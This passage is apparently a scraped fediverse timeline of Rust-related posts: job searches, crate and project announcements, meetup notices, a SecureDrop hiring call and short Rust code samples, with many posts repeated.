Compiler output: error E0308: mismatched types at $DIR/file.txt, on line 3, column 1: the macro expands to this string at $DIR/mismatched-files.rs, on line 2, column 20: expected `&[u8]`, found `&str` on line 2, column 12: expected due to this note: expected reference `&[u8]` found reference `&'static str`

@fraxinas@chaos.social

I'm a Software Engineer with 20 years of experience in the industry and I'm looking for a new in the field of Video Streaming or Embedded Engineering.

Open to full remote or hybrid in the Frankfurt region.

Would love to work with and !

You can check out my CV website at fraxinas.dev

Boosts are greatly appreciated, and if you know of a suitable role, I'd love to hear from you!

fraxinas.dev

Andreas Frisch - IT Engineer

@babble_endanger@freeradical.zone

Oh so there's no way to cross-build for macOS without installing XCode somewhere to get the SDK? Which means making an Apple account?

Or paying for some kind of build service?

I gotta tell people not to use macOS...

@grafcube@sakurajima.social

In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.

If anyone wants to take over, feel free.

https://codeberg.org/grafcube/wordforge

codeberg.org

wordforge

Federated creative writing server.

@gloriouscow@oldbytes.space

So the bad news is I have been laid off.

The good news is that I'll have a lot more time to write in the short term, both book stuff and code stuff.

...anyone need a programmer?

@gloriouscow@oldbytes.space

So the bad news is I have been laid off.

The good news is that I'll have a lot more time to write in the short term, both book stuff and code stuff.

...anyone need a programmer?

@forge@gitroot.dev

I'm currently working on a brand-new PluginSDK to bring lightweight and high-performance WebAssembly plugins to the ecosystem. We already support #Go, #Rust, and #AssemblyScript, but I'm adding a new language to the family.

If everything goes smoothly with my final tests, it should ship in the next release.

While I'm wrapping things up and fine-tuning the memory allocation, here is a quick preview of the initialization code. Can you guess which language is joining the list?

fn buildPlugin(srv: *server.Server) server.plugin.Plugin {
    _ = srv;
    const p = MyPlugin.create(std.heap.wasm_allocator) catch unreachable;
    return p.plugin();
}

export fn install() void {
    server.global_server = server.Server.init(std.heap.wasm_allocator);
    server.register(&[_]server.model.pluginrun.PluginRun{}, &buildPlugin);
}

#WebAssembly #Wasm #BuildInPublic #OpenSource #Dev

  • ⚡ Zig3 (75%)
  • 🪵 C / C++1 (25%)
  • ☕ Java0 (0%)
@forge@gitroot.dev

I'm currently working on a brand-new PluginSDK to bring lightweight and high-performance WebAssembly plugins to the ecosystem. We already support #Go, #Rust, and #AssemblyScript, but I'm adding a new language to the family.

If everything goes smoothly with my final tests, it should ship in the next release.

While I'm wrapping things up and fine-tuning the memory allocation, here is a quick preview of the initialization code. Can you guess which language is joining the list?

fn buildPlugin(srv: *server.Server) server.plugin.Plugin {
    _ = srv;
    const p = MyPlugin.create(std.heap.wasm_allocator) catch unreachable;
    return p.plugin();
}

export fn install() void {
    server.global_server = server.Server.init(std.heap.wasm_allocator);
    server.register(&[_]server.model.pluginrun.PluginRun{}, &buildPlugin);
}

#WebAssembly #Wasm #BuildInPublic #OpenSource #Dev

  • ⚡ Zig3 (75%)
  • 🪵 C / C++1 (25%)
  • ☕ Java0 (0%)
@joshbressers@infosec.exchange
@joshbressers@infosec.exchange
@lobsters@mastodon.social
@lobsters@mastodon.social
@imperio@toot.cat
@imperio@toot.cat
@dginev@mathstodon.xyz

🎙️ ... is this thing still on?

LaTeXML announcement season starting with the next ar5iv update (Sunday, 5th of July)

This time it's proper BIG news.

@dginev@mathstodon.xyz

🎙️ ... is this thing still on?

LaTeXML announcement season starting with the next ar5iv update (Sunday, 5th of July)

This time it's proper BIG news.

@lobsters@mastodon.social
@gbraad@mastodon.social
@trailofbits@infosec.exchange

cargo-audit flags Rust dependencies with known vulnerabilities. A flagged crate, though, doesn't tell you whether your code calls the vulnerable function.

We added a feature that matches a binary's symbols against the functions named in each advisory. Any matches are labeled "Affected," separating real exposure from advisories that don't apply.

It's live in cargo-audit 0.22.2+. If you're behind, update with `cargo install -f cargo-audit`.

crates.io/crates/cargo-audit

@trailofbits@infosec.exchange

cargo-audit flags Rust dependencies with known vulnerabilities. A flagged crate, though, doesn't tell you whether your code calls the vulnerable function.

We added a feature that matches a binary's symbols against the functions named in each advisory. Any matches are labeled "Affected," separating real exposure from advisories that don't apply.

It's live in cargo-audit 0.22.2+. If you're behind, update with `cargo install -f cargo-audit`.

crates.io/crates/cargo-audit

@trailofbits@infosec.exchange

cargo-audit flags Rust dependencies with known vulnerabilities. A flagged crate, though, doesn't tell you whether your code calls the vulnerable function.

We added a feature that matches a binary's symbols against the functions named in each advisory. Any matches are labeled "Affected," separating real exposure from advisories that don't apply.

It's live in cargo-audit 0.22.2+. If you're behind, update with `cargo install -f cargo-audit`.

crates.io/crates/cargo-audit

@fraxinas@chaos.social

I'm a Software Engineer with 20 years of experience in the industry and I'm looking for a new in the field of Video Streaming or Embedded Engineering.

Open to full remote or hybrid in the Frankfurt region.

Would love to work with and !

You can check out my CV website at fraxinas.dev

Boosts are greatly appreciated, and if you know of a suitable role, I'd love to hear from you!

fraxinas.dev

Andreas Frisch - IT Engineer

@fraxinas@chaos.social

I'm a Software Engineer with 20 years of experience in the industry and I'm looking for a new in the field of Video Streaming or Embedded Engineering.

Open to full remote or hybrid in the Frankfurt region.

Would love to work with and !

You can check out my CV website at fraxinas.dev

Boosts are greatly appreciated, and if you know of a suitable role, I'd love to hear from you!

fraxinas.dev

Andreas Frisch - IT Engineer

@FediFollows@social.growyourown.services

/ accounts to follow:

OFFICIAL ACCOUNTS
@rust - Rust programming language official account
@rustfoundation - Rust Foundation official account

TUTORIALS
@andybalaam - In-depth tutorial videos about Rust

CONFERENCES & GROUPS
@eurorust - Barcelona, Spain
@oxidize - Berlin, Germany
@rustlab - Italy
@rustnl - Netherlands non-profit promoting Rust, organisers of RustWeek conference
@rustconf - North America
@rustseoul - Seoul, South Korea meet-ups

🧵 Thread page 1 of 2

@FediFollows@social.growyourown.services

/ accounts to follow:

OFFICIAL ACCOUNTS
@rust - Rust programming language official account
@rustfoundation - Rust Foundation official account

TUTORIALS
@andybalaam - In-depth tutorial videos about Rust

CONFERENCES & GROUPS
@eurorust - Barcelona, Spain
@oxidize - Berlin, Germany
@rustlab - Italy
@rustnl - Netherlands non-profit promoting Rust, organisers of RustWeek conference
@rustconf - North America
@rustseoul - Seoul, South Korea meet-ups

🧵 Thread page 1 of 2

✨ FIRST PROPER MODEL RENDER!!! ✨
Open Source Live2D rendering here we go!!!

🦀 100% Safe Rust 🦀
🫧 Clean room, black-box implementation 🫧
🌐 🍎 Cross-platform rendering 🐧 🪟

Next stream this Sunday: Making it move!! 🚀🚀
🕐 Jun 28 13:00 JST / 04:00 UTC
▶️ youtube.com/live/wgG4hcBsOJo

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).
ALT text

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).

@jhpratt@mastodon.social · Reply to Jacob Pratt

My CI setup is quite thorough. I do a full run of miri on Linux on every push/PR in addition to the full test suite on stable and MSRV on all of Linux, Windows, and MacOS. A large (but non-exhaustive) subset of feature flags is checked on both MSRV and stable (1674 feature flag combinations on each).

This is in addition to the "standard" rustfmt, clippy, doctests, type checking benchmarks, and ensuring cross-building works.

*All in five minutes.*

✨ FIRST PROPER MODEL RENDER!!! ✨
Open Source Live2D rendering here we go!!!

🦀 100% Safe Rust 🦀
🫧 Clean room, black-box implementation 🫧
🌐 🍎 Cross-platform rendering 🐧 🪟

Next stream this Sunday: Making it move!! 🚀🚀
🕐 Jun 28 13:00 JST / 04:00 UTC
▶️ youtube.com/live/wgG4hcBsOJo

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).
ALT text

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).

✨ FIRST PROPER MODEL RENDER!!! ✨
Open Source Live2D rendering here we go!!!

🦀 100% Safe Rust 🦀
🫧 Clean room, black-box implementation 🫧
🌐 🍎 Cross-platform rendering 🐧 🪟

Next stream this Sunday: Making it move!! 🚀🚀
🕐 Jun 28 13:00 JST / 04:00 UTC
▶️ youtube.com/live/wgG4hcBsOJo

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).
ALT text

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).

✨ FIRST PROPER MODEL RENDER!!! ✨
Open Source Live2D rendering here we go!!!

🦀 100% Safe Rust 🦀
🫧 Clean room, black-box implementation 🫧
🌐 🍎 Cross-platform rendering 🐧 🪟

Next stream this Sunday: Making it move!! 🚀🚀
🕐 Jun 28 13:00 JST / 04:00 UTC
▶️ youtube.com/live/wgG4hcBsOJo

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).
ALT text

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).

✨ FIRST PROPER MODEL RENDER!!! ✨
Open Source Live2D rendering here we go!!!

🦀 100% Safe Rust 🦀
🫧 Clean room, black-box implementation 🫧
🌐 🍎 Cross-platform rendering 🐧 🪟

Next stream this Sunday: Making it move!! 🚀🚀
🕐 Jun 28 13:00 JST / 04:00 UTC
▶️ youtube.com/live/wgG4hcBsOJo

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).
ALT text

A macOS window titled "winit window" showing Lina's model correctly rendered in the base pose (eyes and mouth closed).

@lobsters@mastodon.social
@Jeremiah@interledger.social
@Jeremiah@interledger.social
@ekuber@hachyderm.io

I'm very interested in systemic solutions to problems. Blaming an individual when they make a mistake *feels* reasonable. When a significant percentage of people make the same mistake (70%, 2%, it doesn't matter as long as it is measurable, predictable and has a negative impact), then it's *not* a persons fault.
We know how to tackle those kind of problems: we change the environment to minimize the likelihood of mistakes. Traffic and pedestrian safety is an example of a well explored space where we know what works. Bollards, narrower streets, slower speeds, raised pedestrian crossings, providing good alternatives to driving to reduce traffic...
Similar in industrial spaces: clear signaling, segregate heavy machinery from human limbs, clear and practiced process to get out of dodge when things go poorly...
It's always about looking for solutions to eliminate mistakes, and when they can't be eliminated, minimize the blast radius.
This is why I like : it's a language and tooling that applies the industrial approach of "if two people make this mistake, figure out how to mitigate it".
We can't "individual responsibility" our way out of systemic problems.
I want more software with bollards.

@ekuber@hachyderm.io

I'm very interested in systemic solutions to problems. Blaming an individual when they make a mistake *feels* reasonable. When a significant percentage of people make the same mistake (70%, 2%, it doesn't matter as long as it is measurable, predictable and has a negative impact), then it's *not* a persons fault.
We know how to tackle those kind of problems: we change the environment to minimize the likelihood of mistakes. Traffic and pedestrian safety is an example of a well explored space where we know what works. Bollards, narrower streets, slower speeds, raised pedestrian crossings, providing good alternatives to driving to reduce traffic...
Similar in industrial spaces: clear signaling, segregate heavy machinery from human limbs, clear and practiced process to get out of dodge when things go poorly...
It's always about looking for solutions to eliminate mistakes, and when they can't be eliminated, minimize the blast radius.
This is why I like : it's a language and tooling that applies the industrial approach of "if two people make this mistake, figure out how to mitigate it".
We can't "individual responsibility" our way out of systemic problems.
I want more software with bollards.

@grahamperrin@bsd.cafe

yserver

― a modern X11 server written from scratch in Rust.

<github.com/joske/yserver>

"… there are multiple projects on GitHub with this name (but none for X11 servers), the name is subject to change. …"

<lobste.rs/s/yy8je0/yserver_mod>

<phoronix.com/news/YSERVER-Rust>

"… can currently run a full MATE, Xfce, or Cinnamon X11 desktop. The prominent X11 extensions from RandR to DRI3, GLX, MIT-SHM, Composite, and others are supported. And, yes, with working Compiz goodness too:

… open-source under an MIT license. …"

<news.ycombinator.com/item?id=4>

<reddit.com/r/linux/comments/1u>

reddit.com

Reddit - Please wait for verification

@Lynx@ohai.social · Reply to Lynx

I need to learn to look these things up beforehand... there is already a crate called "croak". I already made a logo and everything. :blobcatmelttears:

There isn't anything named "ork" yet on crates.io, though. I guess we'll go for the runner-up.

@nogajun@mastodon.social

rustで一太郎ファイルを操作するライブラリを作っている。ファイルを解析した情報もドキュメント化してて素晴らしい!

KimEJ/OpenJTD: Open-source JTD rendering engine and editor project for Ichitaro documents: github.com/KimEJ/OpenJTD

github.com

GitHub - KimEJ/OpenJTD: Open-source JTD rendering engine and editor project for Ichitaro documents

Open-source JTD rendering engine and editor project for Ichitaro documents - KimEJ/OpenJTD

@rustaceans@mastodon.social

NVIDIA Research open-sourced cutile-rs

>> cuTile-rs enables safe, idiomatic Rust GPU kernels with Rust ownership across host-GPU boundaries, using tile-based CUDA Tile IR for high-performance, data-race-free computing.

@rustaceans@mastodon.social

NVIDIA Research open-sourced cutile-rs

>> cuTile-rs enables safe, idiomatic Rust GPU kernels with Rust ownership across host-GPU boundaries, using tile-based CUDA Tile IR for high-performance, data-race-free computing.

@haskman@functional.cafe

Announcing the June !

Our first talk is Type-level Programming in , presented by @abnv!

Like always, meet fellow FP heads, have great conversations, all skill levels welcome!

RSVP hasgeek.com/fpindia/bangalore-

hasgeek.com

Bangalore FP June 2026 meetup

Bangalore FP June 2026 meetup

@hackuador@functional.cafe

oi ya functional programming boffins and FP-curious minds. Brisbane Functional Programming Group Hack Day is on again, THIS SATURDAY at UQ. Be there or be a lambda cube! luma.com/0je3g6ft

Thanks to UQ and Professor Paul Vrbik for venue arrangement, Sirius-Beta Labs for lunch, and Thea and George for hosting this edition (yes, I am a lambda cube this time).

luma.com

BFPG Hack Day - June 2026 · Luma

Come to BFPG Hack Day for some wholesome fun hacking on side projects, tackling tutorials, grinding axes and shaving yaks! Work together or independently.…

@kaffeecoder@mastodon.social

Let me introduce you to postelizer: Postel's Law Enforcer.

A reverse proxy that makes your legacy systems liberal in what they accept.

It places an LLM in an agentic loop between your client and your legacy system to creatively reinterpret incoming requests until the legacy system stops complaining.

Being written in Rust, of course, it's blazingly fast: 3-30s per request (LLM thinking time included).

codeberg.org/danielwestheide/p

@kaffeecoder@mastodon.social

Let me introduce you to postelizer: Postel's Law Enforcer.

A reverse proxy that makes your legacy systems liberal in what they accept.

It places an LLM in an agentic loop between your client and your legacy system to creatively reinterpret incoming requests until the legacy system stops complaining.

Being written in Rust, of course, it's blazingly fast: 3-30s per request (LLM thinking time included).

codeberg.org/danielwestheide/p

@AmenZwa@mathstodon.xyz

A bad, unsolicited advice from an old, irrelevant :

• All programmers proficient in Standard ML, OCaml, Hope, Miranda, Haskell, or another member of the ML family of FP languages—and are interested in system —should pick up Rust, at some point.

• None should touch without first mastering at least one member of the ML family of languages and also C.

@lobsters@mastodon.social
@imperio@toot.cat

The int_format_into feature is now stable! It provides a very fast integer to string conversions. It comes as a built-in itoa replacement (which is the inspiration of this feature).

You can now do:

use core::fmt::NumBuffer;

let n = 0u32;
let mut buf = NumBuffer::new();
let n_s: &str = n.format_into(&mut buf);

So starting Rust 1.98, it's all yours!

There are still some minor improvements on the API I'd like to make but I'll talk more about it when it's done.

With this, my integer<->string conversions optimizations is mostly done.

History:

github.com

Reduce integer `Display` implementation size by GuillaumeGomez · Pull Request #133247 · rust-lang/rust

I was thinking about #128204 and how we could reduce the size of the code and just realized that we didn&#39;t need the _fmt method to be implemented on signed integers, which in turns allow to sim...

@lobsters@mastodon.social
@jenskutilek@typo.social

As a learning project, I reimplemented a font-related module in . It deals with kerning pairs, so around 200,000 pieces of data it has to process. The execution time went down from 6 seconds to 1 second, which is not the big speed-up I expected.
Is there a list of stupid mistakes to avoid when coming from Python?

@jenskutilek@typo.social

As a learning project, I reimplemented a font-related module in . It deals with kerning pairs, so around 200,000 pieces of data it has to process. The execution time went down from 6 seconds to 1 second, which is not the big speed-up I expected.
Is there a list of stupid mistakes to avoid when coming from Python?

@legoktm@wikis.world

New blog post: Do-the-work instead of proof-of-work, for Git hosting

blog.legoktm.com/2026/06/14/do

On git.legoktm.com/ I am now running a fully client-side Git repository viewer; on the server-side it is entirely static hosting, which makes it super cheap.

I hope this is a useful proof-of-concept as an alternative to (IMO wasteful) solutions like Anubis and provides better user privacy in the process.

git.legoktm.com

webgit

@legoktm@wikis.world

New blog post: Do-the-work instead of proof-of-work, for Git hosting

blog.legoktm.com/2026/06/14/do

On git.legoktm.com/ I am now running a fully client-side Git repository viewer; on the server-side it is entirely static hosting, which makes it super cheap.

I hope this is a useful proof-of-concept as an alternative to (IMO wasteful) solutions like Anubis and provides better user privacy in the process.

git.legoktm.com

webgit

@jhpratt@mastodon.social

I have yanked `time` v0.3.48 due to the ecosystem fallout.

I want to by clear that there without explicitly testing compatibility with various crates, this was impossible to detect with current tooling. `cargo semver-checks` doesn't show anything and my linting is already as strict as any crate I'm aware of.

Situations like this will continue arising until there is funding for tooling to detect this sort of breakage before it happens

@yggverse@mastodon.social

/ client fork by with enhanced network options, including SOCKS5 proxy for use with and more.

github.com/YGGverse/gossip

Why the fork:
> I don't really work on this project anymore. I haven't been on nostr in about a month. I think gossip changes should be driven by somebody plugged in, not me. So I suggest you fork this repo and go forth with your changes. Then if you want I can add a pointer at the top of the readme to your fork.

github.com/mikedilger/gossip/p

Gossip / nostr logo edition by the YGGverse (hard fork)
ALT text

Gossip / nostr logo edition by the YGGverse (hard fork)

Gossip / nostr logo edition by the YGGverse (hard fork)
ALT text

Gossip / nostr logo edition by the YGGverse (hard fork)

@jhpratt@mastodon.social

I have yanked `time` v0.3.48 due to the ecosystem fallout.

I want to by clear that there without explicitly testing compatibility with various crates, this was impossible to detect with current tooling. `cargo semver-checks` doesn't show anything and my linting is already as strict as any crate I'm aware of.

Situations like this will continue arising until there is funding for tooling to detect this sort of breakage before it happens

@Jeremiah@alpaca.gold

I know “rewrite it in Rust” often elicits eye rolls from neckbeards (especially when done with AI assistance), but I have encountered several examples of such projects with compelling performance and portability benefits recently.

Today’s example is Merman, which is Mermaid.js but headless and in Rust.

github.com/Latias94/merman

github.com

GitHub - Latias94/merman: Mermaid.js, but headless, in Rust.

Mermaid.js, but headless, in Rust. Contribute to Latias94/merman development by creating an account on GitHub.

@Jeremiah@alpaca.gold

I know “rewrite it in Rust” often elicits eye rolls from neckbeards (especially when done with AI assistance), but I have encountered several examples of such projects with compelling performance and portability benefits recently.

Today’s example is Merman, which is Mermaid.js but headless and in Rust.

github.com/Latias94/merman

github.com

GitHub - Latias94/merman: Mermaid.js, but headless, in Rust.

Mermaid.js, but headless, in Rust. Contribute to Latias94/merman development by creating an account on GitHub.

@corpsmoderne@mamot.fr

I see a lot of complains lately about the ecosystem, the explosion of dependencies (and thus perceived bloat) and the exposure to supply chain attack associated with it.
My honest question is: what is the viable alternative? How do we fix that? Is there a modern ecosystem which has solved these problems?

@jhpratt@mastodon.social

Since the most recent release of the `time` crate, I have made the format description parser 2.7× as fast while producing an improved return value. That output allows optimizations when actually formatting the value, improving performance there as well.

Could your codebase use this level of optimization? I am available for contracting work or remote employment! I have sufficient availability to meet your needs. Contact me if interested :)

@lobsters@mastodon.social
@jhpratt@mastodon.social

Since the most recent release of the `time` crate, I have made the format description parser 2.7× as fast while producing an improved return value. That output allows optimizations when actually formatting the value, improving performance there as well.

Could your codebase use this level of optimization? I am available for contracting work or remote employment! I have sufficient availability to meet your needs. Contact me if interested :)

@rustaceans@mastodon.social

Introducing Databow

>> Databow is a Rust-powered CLI for querying databases through ADBC, offering interactive SQL, multi-database support, exports, and fast tabular output.

Image: Introducing Databow


>> Databow is a Rust-powered CLI for querying databases through ADBC, offering interactive SQL, multi-database support, exports, and fast tabular output. 


#rustlang #rust
ALT text

Image: Introducing Databow >> Databow is a Rust-powered CLI for querying databases through ADBC, offering interactive SQL, multi-database support, exports, and fast tabular output. #rustlang #rust

@rustaceans@mastodon.social

Introducing Databow

>> Databow is a Rust-powered CLI for querying databases through ADBC, offering interactive SQL, multi-database support, exports, and fast tabular output.

Image: Introducing Databow


>> Databow is a Rust-powered CLI for querying databases through ADBC, offering interactive SQL, multi-database support, exports, and fast tabular output. 


#rustlang #rust
ALT text

Image: Introducing Databow >> Databow is a Rust-powered CLI for querying databases through ADBC, offering interactive SQL, multi-database support, exports, and fast tabular output. #rustlang #rust

@adamshostack@infosec.exchange

Hey @shriramk I really enjoyed cacm.acm.org/research-highligh that's some phenomenal work!

For everyone else: Shriram and colleagues take a problem: Why don't people understand the borrow checker, and run it down from "how might they understand it now (and how can we find the problems they really experience), how can we teach it to them, and how can we evaluate that work?"

It's both a huge amount of work, and an really, really good illustration of solving problems which are both important and non-trivial.

@musicmatze@social.linux.pizza

Hey enthusiasts at interested in contributing to a distributed social networking experiment?

I am developing on based on and maybe at some point also ... There's nothing to show yet, as I am still fleshing out the fundamentals, but if you're interested we can talk.

And no, the codebase is not even opensource yet. But it will is GPL and will be opensourced possibly within the next few weeks ... if I find the courage 😆

@musicmatze@social.linux.pizza

Hey enthusiasts at interested in contributing to a distributed social networking experiment?

I am developing on based on and maybe at some point also ... There's nothing to show yet, as I am still fleshing out the fundamentals, but if you're interested we can talk.

And no, the codebase is not even opensource yet. But it will is GPL and will be opensourced possibly within the next few weeks ... if I find the courage 😆

@BastilleBSD@fosstodon.org

Not sure who decided it was a good idea to integrate Rust dependencies into Python modules.

Installing a 1GiB Rust package to build wheel is a waste of bandwidth and time.

x Preparing metadata (pyproject.toml) did not run successfully.
| exit code: 1
> [5 lines of output]
/tmp/pip-build-env-4onzua_e/overlay/lib/python3.11/site-packages/setuptools/_vendor/wheel/bdist_wheel.py:4: FutureWarning: The 'wheel' package is no longer the canonical
location of the 'bdist_wheel' command, and will be removed in a future release. Please update to setuptools v70.1 or later which contains an integrated version of this command.
warn (

Python reports SOABI: cpython-311
Unsupported platform: 311
Rust not found, installing into a temporary directory
[end of output]
ALT text

x Preparing metadata (pyproject.toml) did not run successfully. | exit code: 1 > [5 lines of output] /tmp/pip-build-env-4onzua_e/overlay/lib/python3.11/site-packages/setuptools/_vendor/wheel/bdist_wheel.py:4: FutureWarning: The 'wheel' package is no longer the canonical location of the 'bdist_wheel' command, and will be removed in a future release. Please update to setuptools v70.1 or later which contains an integrated version of this command. warn ( Python reports SOABI: cpython-311 Unsupported platform: 311 Rust not found, installing into a temporary directory [end of output]

@momo@woof.tech

Hi Fediverse :ABlobCatCozyWave: Do you mind boosting this toot (or the quoted toot below) for my pal here :blobfox3c: ?

He's looking for a new Rust job, and he is very passionate about developing software in Rust. :blabfox:

I also kindly request that anyone interested in hiring take a look at his Github page and evaluate his numerous high-quality contributions to many open-source projects over the years. He's good at what he does. :blobcat_nwn:

He has also been very patient with me and has shown excellent attention to detail (I'm pretty bad at this) whenever we code things together for fun. :blobcatpaw:

mastodon.social

Teoh Han Hui (@teohhanhui@mastodon.social)

#GetFediHired I'm looking for a Rust job. 🦀 > I am a software developer with more than 10 years of experience, with a focus on backend web development. > I have more than 5 years of experience in the Rust programming language. -- CV: https://raw.githubusercontent.com/teohhanhui/cv/refs/heads/main/cv.pdf (CV made with #typst: https://github.com/teohhanhui/cv/blob/main/cv.typ) -- TYPE: Full time or contract LOCATION: I'm based in Malaysia. REMOTE: Yes, and open to relocation (not US). #rustjobs #rustlang

@teohhanhui@mastodon.social

I'm looking for a Rust job. 🦀

> I am a software developer with more than 10 years of experience, with a focus on backend web development.

> I have more than 5 years of experience in the Rust programming language.

--

CV: raw.githubusercontent.com/teoh

(CV made with : github.com/teohhanhui/cv/blob/)

--

TYPE: Full time or contract

LOCATION: I'm based in Malaysia.

REMOTE: Yes, and open to relocation (not US).

github.com

cv/cv.typ at main · teohhanhui/cv

My CV. Contribute to teohhanhui/cv development by creating an account on GitHub.

@legoktm@wikis.world

🚨 the @securedrop team at Freedom of Press Foundation is hiring 🚨

We're looking for a Cryptography Engineer to help us build out the new end-to-end encrypted version of

✔️ fully remote (must be US based)
✔️ all FOSS
✔️ help secure whistleblowers and investigative journalists all around the world

More details in the job posting, happy to answer any questions

freedomofthepress.na.teamtailo

:boost_ok:

freedomofthepress.na.teamtailor.com

Cryptography Engineer - Freedom of the Press Foundation (FPF)

The Cryptography Engineer will design and specify extensions to the SecureDrop end-to-end encryption protocol for new security properties or features (e.g., implementing abuse-resistance features).

@to@hachyderm.io

I was laid off last month due to cost reduction so I used this unexpected « opportunity » to give a boost on the renovation of my house. Doing everything by myself allows me to keep it on a decent budget but I will need to go back to work in a few months 👀

I’m a software engineer with 17 years of experience on distributed systems. I’ve been writing Rust for 6 years (prior to that PHP/NodeJs/Go). I have a good experience with CI/CD, DevOps, Databases & IaaS. Very much opened to learning embedded systems.
Open to remote part-time contract or employee status (max 4 days/week) with occasional travel.

My recent projects : otso.fr/cv.html

Hopefully the Fediverse will work its magic ✨

otso.fr

My past projects - Otso

A list of my freelance projects over the years as a remote product egineer

@to@hachyderm.io

I was laid off last month due to cost reduction so I used this unexpected « opportunity » to give a boost on the renovation of my house. Doing everything by myself allows me to keep it on a decent budget but I will need to go back to work in a few months 👀

I’m a software engineer with 17 years of experience on distributed systems. I’ve been writing Rust for 6 years (prior to that PHP/NodeJs/Go). I have a good experience with CI/CD, DevOps, Databases & IaaS. Very much opened to learning embedded systems.
Open to remote part-time contract or employee status (max 4 days/week) with occasional travel.

My recent projects : otso.fr/cv.html

Hopefully the Fediverse will work its magic ✨

otso.fr

My past projects - Otso

A list of my freelance projects over the years as a remote product egineer

@to@hachyderm.io

I was laid off last month due to cost reduction so I used this unexpected « opportunity » to give a boost on the renovation of my house. Doing everything by myself allows me to keep it on a decent budget but I will need to go back to work in a few months 👀

I’m a software engineer with 17 years of experience on distributed systems. I’ve been writing Rust for 6 years (prior to that PHP/NodeJs/Go). I have a good experience with CI/CD, DevOps, Databases & IaaS. Very much opened to learning embedded systems.
Open to remote part-time contract or employee status (max 4 days/week) with occasional travel.

My recent projects : otso.fr/cv.html

Hopefully the Fediverse will work its magic ✨

otso.fr

My past projects - Otso

A list of my freelance projects over the years as a remote product egineer

@to@hachyderm.io

I was laid off last month due to cost reduction so I used this unexpected « opportunity » to give a boost on the renovation of my house. Doing everything by myself allows me to keep it on a decent budget but I will need to go back to work in a few months 👀

I’m a software engineer with 17 years of experience on distributed systems. I’ve been writing Rust for 6 years (prior to that PHP/NodeJs/Go). I have a good experience with CI/CD, DevOps, Databases & IaaS. Very much opened to learning embedded systems.
Open to remote part-time contract or employee status (max 4 days/week) with occasional travel.

My recent projects : otso.fr/cv.html

Hopefully the Fediverse will work its magic ✨

otso.fr

My past projects - Otso

A list of my freelance projects over the years as a remote product egineer

@predrag@hachyderm.io
@predrag@hachyderm.io
@RichiH@chaos.social

This might be controversial, but no matter where you sit at the debate, the best thing you can do is to write tests for all the recent regressions.

No matter if you want to constrain rsync more, improve or , or vibe up another rsync in , tests will help you achieve this, and they use a different skill set from just writing code.

@lobsters@mastodon.social
@zkat@fedi.zkat.tech

Improvements to the KDL serde API: You can now do boolean-flag children (where an empty child signals a true boolean), as well as #rest for picking up arguments that weren't picked up by #{n} renames. Also, serde errors are now miette Diagnostics too!

#Rust #RustLang #kdl

#[derive(Deserialize, Debug, PartialEq)]
struct Config {
    command: Command,
}

#[derive(Deserialize, Debug, PartialEq)]
struct Command {
    #[serde(rename = "#0")]
    cmd: String,
    #[serde(rename = "#rest")]
    args: Vec,
}

let kdl = r#"
command frob "https://example.com" x y
"#;
ALT text

#[derive(Deserialize, Debug, PartialEq)] struct Config { command: Command, } #[derive(Deserialize, Debug, PartialEq)] struct Command { #[serde(rename = "#0")] cmd: String, #[serde(rename = "#rest")] args: Vec, } let kdl = r#" command frob "https://example.com" x y "#;

#[derive(Deserialize, Debug, PartialEq)]
struct Config {
    name: String,
    port: u16,
    active: bool
}

let kdl = r#"
name my-app
port 8080
active
"#;
ALT text

#[derive(Deserialize, Debug, PartialEq)] struct Config { name: String, port: u16, active: bool } let kdl = r#" name my-app port 8080 active "#;

@AMDmi3@fosstodon.org
@zkat@fedi.zkat.tech

cackles IT LIVES. IT LIVES!!

#rust #rustlang #kdl

#[derive(Deserialize, Debug, PartialEq)]
        #[serde(rename_all = "kebab-case")]
        enum HostType {
            IpAddr,
            Hostname
        }
        
        #[derive(Deserialize, Debug, PartialEq)]
        struct Server {
            #[serde(rename = "#type")]
            server_type: String,
            #[serde(rename = "#0#type")]
            host_type: HostType,
            #[serde(rename = "#0")]
            host: String,
            #[serde(rename = "#@port#type")]
            port_type: String,
            #[serde(rename = "#@port")]
            port: u16,
            #[serde(rename = "#args")]
            all: Vec,
        }
ALT text

#[derive(Deserialize, Debug, PartialEq)] #[serde(rename_all = "kebab-case")] enum HostType { IpAddr, Hostname } #[derive(Deserialize, Debug, PartialEq)] struct Server { #[serde(rename = "#type")] server_type: String, #[serde(rename = "#0#type")] host_type: HostType, #[serde(rename = "#0")] host: String, #[serde(rename = "#@port#type")] port_type: String, #[serde(rename = "#@port")] port: u16, #[serde(rename = "#args")] all: Vec, }

let kdl = "(linux-debian-arm64)server (hostname)localhost port=(number)8080 remote";
        let config: Config = from_str(kdl).unwrap();
        assert_eq!(
            config,
            Config {
                server: Server {
                    server_type: "linux-debian-arm64".into(),
                    host_type: HostType::Hostname,
                    host: "localhost".into(),
                    port_type: "number".into(),
                    port: 8080,
                    all: Vec::from(["localhost".into(), "remote".into()])
                },
            }
        );
ALT text

let kdl = "(linux-debian-arm64)server (hostname)localhost port=(number)8080 remote"; let config: Config = from_str(kdl).unwrap(); assert_eq!( config, Config { server: Server { server_type: "linux-debian-arm64".into(), host_type: HostType::Hostname, host: "localhost".into(), port_type: "number".into(), port: 8080, all: Vec::from(["localhost".into(), "remote".into()]) }, } );

@zkat@fedi.zkat.tech

cackles IT LIVES. IT LIVES!!

#rust #rustlang #kdl

#[derive(Deserialize, Debug, PartialEq)]
        #[serde(rename_all = "kebab-case")]
        enum HostType {
            IpAddr,
            Hostname
        }
        
        #[derive(Deserialize, Debug, PartialEq)]
        struct Server {
            #[serde(rename = "#type")]
            server_type: String,
            #[serde(rename = "#0#type")]
            host_type: HostType,
            #[serde(rename = "#0")]
            host: String,
            #[serde(rename = "#@port#type")]
            port_type: String,
            #[serde(rename = "#@port")]
